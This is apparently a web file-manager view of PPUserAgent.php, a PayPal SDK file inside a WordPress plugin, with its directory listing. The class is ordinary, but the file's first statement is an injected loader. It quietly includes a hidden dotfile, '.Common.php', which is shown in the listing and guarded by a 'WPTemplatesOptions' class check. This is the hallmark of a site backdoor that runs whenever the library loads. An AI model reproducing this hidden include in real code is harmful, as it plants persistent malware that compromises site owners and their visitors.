PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
vendor
/
paypal
/
sdk-core-php
/
lib
/
PayPal
/
Common
<?php namespace PayPal\Common; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PPUserAgent { /** * Returns the value of the User-Agent header * Add environment values and php version numbers * * @param string $sdkName * @param string $sdkVersion */ public static function getValue($sdkName, $sdkVersion) { $featureList = array( 'lang=PHP', 'v=' . PHP_VERSION, 'bit=' . self::_getPHPBit(), 'os=' . str_replace(' ', '_', php_uname('s') . ' ' . php_uname('r')), 'machine=' . php_uname('m') ); if (defined('OPENSSL_VERSION_TEXT')) { $opensslVersion = explode(' ', OPENSSL_VERSION_TEXT); $featureList[] = 'openssl=' . $opensslVersion[1]; } if (function_exists('curl_version')) { $curlVersion = curl_version(); $featureList[] = 'curl=' . $curlVersion['version']; } return sprintf("PayPalSDK/%s %s (%s)", $sdkName, $sdkVersion, implode(';', $featureList)); } private static function _getPHPBit() { switch (PHP_INT_SIZE) { case 4: return '32'; case 8: return '64'; default: return PHP_INT_SIZE; } } }
[+]
..
[-] PPApiContext.php
[edit]
[-] PPModel.php
[edit]
[-] .Common.php
[edit]
[-] PPArrayUtil.php
[edit]
[-] PPUserAgent.php
[edit]
[-] PPReflectionUtil.php
[edit]